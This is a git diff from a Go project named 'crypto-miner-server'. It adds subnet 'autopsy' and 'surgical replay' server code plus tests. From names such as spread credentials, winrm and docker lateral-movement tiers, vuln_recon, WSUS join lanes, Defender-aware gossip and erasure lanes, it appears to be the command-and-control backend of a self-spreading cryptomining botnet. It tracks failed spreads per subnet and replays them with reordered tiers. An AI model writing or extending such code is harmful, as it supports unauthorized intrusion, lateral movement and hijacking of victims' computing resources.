||||
|
||||
// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
|
||||
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
|
||||
}
|
||||
143
server/internal/api/subnet_autopsy_test.go
Normal file
143
server/internal/api/subnet_autopsy_test.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestSubnetAutopsyGETBuildsPacket(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
agentID := "autopsy-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true})
|
||||
hub.mu.Lock()
|
||||
hub.agentLiveTelemetry[agentID] = map[string]interface{}{
|
||||
"join_lane": "wsus_cache_peer",
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"},
|
||||
},
|
||||
}
|
||||
hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
|
||||
"10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
|
||||
}
|
||||
hub.mu.Unlock()
|
||||
|
||||
handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub))
|
||||
req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Get(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var pkt atlas.SubnetAutopsyPacket
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 {
|
||||
t.Fatalf("packet=%+v", pkt)
|
||||
}
|
||||
if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback {
|
||||
t.Fatalf("policy fields=%+v", pkt)
|
||||
}
|
||||
if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" {
|
||||
t.Fatalf("attempts=%+v", pkt.LOTLAttempts)
|
||||
}
|
||||
if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" {
|
||||
t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
for i := 0; i < 5; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("10.1.1")
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
dashConn := connectTestDashboard(t, hub)
|
||||
recv := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "seer_events" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||||
continue
|
||||
}
|
||||
recv <- body
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
hub.TriggerSubnetAutopsy("10.1.1", nil)
|
||||
select {
|
||||
case ev := <-recv:
|
||||
if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" {
|
||||
t.Fatalf("event=%v", ev)
|
||||
}
|
||||
if _, ok := ev["cause"].(string); !ok {
|
||||
t.Fatalf("missing cause: %v", ev)
|
||||
}
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("timed out waiting for seer_events")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
for i := 0; i < 4; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("10.2.2")
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
pathTracer := NewPathTracerHandler(hub)
|
||||
h := NewSpreadCredHandler(database, nil)
|
||||
h.BindAutopsyTrigger(hub, pathTracer)
|
||||
|
||||
body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ReportEdge(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d", rec.Code)
|
||||
}
|
||||
pkt, ok := hub.SubnetAutopsy("10.2.2")
|
||||
if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" {
|
||||
t.Fatalf("autopsy=%+v ok=%v", pkt, ok)
|
||||
}
|
||||
}
|
||||
150
server/internal/api/surgical_bridge.go
Normal file
150
server/internal/api/surgical_bridge.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// PathTraceSurgicalAdapter resolves persisted Path Tracer sessions for surgical replay.
|
||||
type PathTraceSurgicalAdapter struct {
|
||||
Hub *WSHub
|
||||
PathTrace *PathTracerHandler
|
||||
}
|
||||
|
||||
func (a *PathTraceSurgicalAdapter) TraceForAgent(agentID string) (fleetai.SurgicalTraceContext, bool) {
|
||||
if a == nil || agentID == "" {
|
||||
return fleetai.SurgicalTraceContext{}, false
|
||||
}
|
||||
sessions := traceSessionsSnapshot(a.PathTrace)
|
||||
if len(sessions) == 0 && a.Hub != nil && a.Hub.db != nil {
|
||||
rows, err := a.Hub.db.ListPathTraceSessions()
|
||||
if err != nil {
|
||||
return fleetai.SurgicalTraceContext{}, false
|
||||
}
|
||||
for _, row := range rows {
|
||||
var rec pathTraceSessionPersist
|
||||
if json.Unmarshal(row.Payload, &rec) != nil {
|
||||
continue
|
||||
}
|
||||
sess := &TraceSession{
|
||||
ID: rec.ID, AgentIDs: rec.AgentIDs, Hops: rec.Hops,
|
||||
Error: rec.Error, DiscoverError: rec.DiscoverError,
|
||||
}
|
||||
sessions = append(sessions, sess)
|
||||
}
|
||||
}
|
||||
for _, sess := range sessions {
|
||||
if ctx, ok := surgicalTraceFromSession(sess, agentID); ok {
|
||||
return ctx, true
|
||||
}
|
||||
}
|
||||
return fleetai.SurgicalTraceContext{}, false
|
||||
}
|
||||
|
||||
func surgicalTraceFromSession(sess *TraceSession, agentID string) (fleetai.SurgicalTraceContext, bool) {
|
||||
if sess == nil || agentID == "" {
|
||||
return fleetai.SurgicalTraceContext{}, false
|
||||
}
|
||||
hopIndex := -1
|
||||
for i, hop := range sess.Hops {
|
||||
if hop != nil && hop.AgentID == agentID {
|
||||
hopIndex = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if hopIndex < 0 {
|
||||
for _, id := range sess.AgentIDs {
|
||||
if id == agentID {
|
||||
hopIndex = 0
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if hopIndex < 0 {
|
||||
return fleetai.SurgicalTraceContext{}, false
|
||||
}
|
||||
ctx := fleetai.SurgicalTraceContext{
|
||||
SessionID: sess.ID,
|
||||
HopIndex: hopIndex,
|
||||
HopCount: len(sess.Hops),
|
||||
SessionError: strings.TrimSpace(sess.Error),
|
||||
DiscoverError: strings.TrimSpace(sess.DiscoverError),
|
||||
}
|
||||
if len(sess.Hops) > 0 {
|
||||
last := sess.Hops[len(sess.Hops)-1]
|
||||
if last != nil {
|
||||
ctx.EgressAgentID = last.AgentID
|
||||
}
|
||||
}
|
||||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||||
sub := spreadrouter.NormalizeSubnet(host.Subnet)
|
||||
if sub == "" {
|
||||
sub = spreadrouter.SubnetFromIP(host.Host)
|
||||
}
|
||||
if sub != "" {
|
||||
ctx.TargetSubnets = append(ctx.TargetSubnets, sub)
|
||||
}
|
||||
}
|
||||
return ctx, true
|
||||
}
|
||||
|
||||
// DatabaseStrainMemoryAdapter persists surgical replay outcomes.
|
||||
type DatabaseStrainMemoryAdapter struct {
|
||||
DB interface {
|
||||
InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
|
||||
}
|
||||
}
|
||||
|
||||
func (a *DatabaseStrainMemoryAdapter) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
|
||||
if a == nil || a.DB == nil {
|
||||
return nil
|
||||
}
|
||||
return a.DB.InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome)
|
||||
}
|
||||
|
||||
// HubSeerEmitter broadcasts and persists Seer feed events.
|
||||
type HubSeerEmitter struct {
|
||||
Hub *WSHub
|
||||
DB interface {
|
||||
InsertSeerEvent(eventType, agentID string, payload []byte) (int64, error)
|
||||
}
|
||||
}
|
||||
|
||||
func (e *HubSeerEmitter) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
|
||||
if e == nil {
|
||||
return nil
|
||||
}
|
||||
raw, _ := json.Marshal(payload)
|
||||
var id int64
|
||||
if e.DB != nil {
|
||||
var err error
|
||||
id, err = e.DB.InsertSeerEvent(eventType, agentID, raw)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if e.Hub != nil {
|
||||
e.Hub.BroadcastSeerEvent(map[string]interface{}{
|
||||
"id": id,
|
||||
"event_type": eventType,
|
||||
"agent_id": agentID,
|
||||
"payload": json.RawMessage(raw),
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StrainFromAgent returns spread_strain for strain memory rows.
|
||||
func StrainFromAgent(hub *WSHub, agentID string) string {
|
||||
if hub == nil || hub.db == nil || agentID == "" {
|
||||
return ""
|
||||
}
|
||||
ag, err := hub.db.GetAgent(agentID)
|
||||
if err != nil || ag == nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(ag.SpreadStrain)
|
||||
}
|
||||
113
server/internal/api/surgical_bridge_test.go
Normal file
113
server/internal/api/surgical_bridge_test.go
Normal file
@@ -0,0 +1,113 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestSurgicalTraceFromSessionHopMatch(t *testing.T) {
|
||||
sess := &TraceSession{
|
||||
ID: "sess-1",
|
||||
Hops: []*HopInfo{
|
||||
{AgentID: "hop-a", AgentName: "a"},
|
||||
{AgentID: "hop-b", AgentName: "b"},
|
||||
},
|
||||
DiscoverError: "timeout",
|
||||
}
|
||||
ctx, ok := surgicalTraceFromSession(sess, "hop-b")
|
||||
if !ok {
|
||||
t.Fatal("expected trace match")
|
||||
}
|
||||
if ctx.SessionID != "sess-1" || ctx.HopIndex != 1 || ctx.HopCount != 2 {
|
||||
t.Fatalf("unexpected ctx: %+v", ctx)
|
||||
}
|
||||
if ctx.EgressAgentID != "hop-b" || ctx.DiscoverError != "timeout" {
|
||||
t.Fatalf("unexpected egress/discover: %+v", ctx)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTraceSurgicalAdapterReadsPersistedSession(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
payload, _ := json.Marshal(pathTraceSessionPersist{
|
||||
ID: "persisted-sess",
|
||||
AgentIDs: []string{"patient-1"},
|
||||
Hops: []*HopInfo{{AgentID: "patient-1", AgentName: "patient"}},
|
||||
CreatedAt: time.Now().UTC(),
|
||||
Error: "spread lane blocked",
|
||||
})
|
||||
if err := database.UpsertPathTraceSession("persisted-sess", time.Now().UTC(), payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
adapter := &PathTraceSurgicalAdapter{Hub: hub, PathTrace: nil}
|
||||
ctx, ok := adapter.TraceForAgent("patient-1")
|
||||
if !ok {
|
||||
t.Fatal("expected persisted trace")
|
||||
}
|
||||
if ctx.SessionID != "persisted-sess" || ctx.SessionError != "spread lane blocked" {
|
||||
t.Fatalf("unexpected ctx: %+v", ctx)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHubSeerEmitterPersistsAndBroadcasts(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
emitter := &HubSeerEmitter{Hub: hub, DB: database}
|
||||
if err := emitter.EmitSeerEvent("surgical_replay", "agent-1", map[string]interface{}{
|
||||
"failed_tier": "docker",
|
||||
"outcome": "skip_tier:reorder_tiers",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
events, err := database.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(events) != 1 || events[0].EventType != "surgical_replay" {
|
||||
t.Fatalf("events: %+v", events)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStrainFromAgent(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
if err := database.UpsertAgent(&models.Agent{ID: "s1", Name: "host", SpreadStrain: "#aabbcc"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub := NewWSHub(database)
|
||||
if got := StrainFromAgent(hub, "s1"); got != "#aabbcc" {
|
||||
t.Fatalf("strain=%q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldUseSurgicalReplayPartialNotExhausted(t *testing.T) {
|
||||
trace := fleetai.SurgicalTraceContext{SessionID: "x", HopCount: 2}
|
||||
snap := fleetai.AgentSnapshot{
|
||||
LOTLAttempts: []fleetai.TierAttempt{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "missing"},
|
||||
},
|
||||
}
|
||||
if !fleetai.ShouldUseSurgicalReplay(trace, snap) {
|
||||
t.Fatal("partial spread failure with trace should qualify for surgical replay")
|
||||
}
|
||||
}
|
||||
@@ -39,6 +39,27 @@ func wsDashboardToken(user, pass string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
}
|
||||
|
||||
func connectTestDashboard(t *testing.T, hub *WSHub) *websocket.Conn {
|
||||
t.Helper()
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(srv.Close)
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
var init Message
|
||||
if err := conn.ReadJSON(&init); err != nil {
|
||||
t.Fatalf("read init: %v", err)
|
||||
}
|
||||
if init.Type != "init" {
|
||||
t.Fatalf("expected init, got %q", init.Type)
|
||||
}
|
||||
return conn
|
||||
}
|
||||
|
||||
func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
|
||||
Reference in New Issue
Block a user